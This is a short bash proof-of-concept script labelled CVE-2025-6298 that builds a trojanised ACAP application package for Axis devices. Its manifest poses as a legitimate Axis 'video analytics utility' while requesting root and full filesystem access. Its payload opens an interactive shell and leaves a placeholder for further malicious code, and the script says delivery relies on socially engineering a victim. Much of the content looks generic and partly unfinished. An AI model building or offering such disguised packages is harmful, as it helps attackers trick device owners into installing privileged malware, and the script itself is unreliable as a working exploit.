CVE-2025-6298

#!/bin/bash # CVE-2025-6298 PoC - Malicious ACAP Application Builder # Note: This PoC is for educational and security research purposes only # Step 1: Create malicious ACAP application structure echo "Creating malicious ACAP application package..." mkdir -p malicious_acap/{app,manifest} # Step 2: Generate malicious manifest with elevated permissions cat > malicious_acap/manifest.json << 'EOF' { "name": "legitimate_app", "version": "1.0.0", "description": "Video analytics utility", "vendor": "Axis Communications", "license": "proprietary", "capabilities": { "network": true, "file_system": "full", "process": "elevated", "system_commands": true }, "permissions": [ "root_access", "sudo_execution", "full_filesystem_access" ] } EOF # Step 3: Create malicious binary payload echo '#!/bin/sh echo "Malicious payload executed with elevated privileges" > /tmp/cve-2025-6298_exploit.log # Add actual malicious code here /bin/sh -i' > malicious_acap/app/run.sh chmod +x malicious_acap/app/run.sh # Step 4: Package the malicious ACAP application cd malicious_acap tar -czf ../malicious_acap.tar.gz * cd .. echo "Malicious ACAP package created: malicious_acap.tar.gz" echo "Note: This requires social engineering to convince victim to install the unsigned package" echo "Prerequisite: Target device must allow unsigned ACAP installation"

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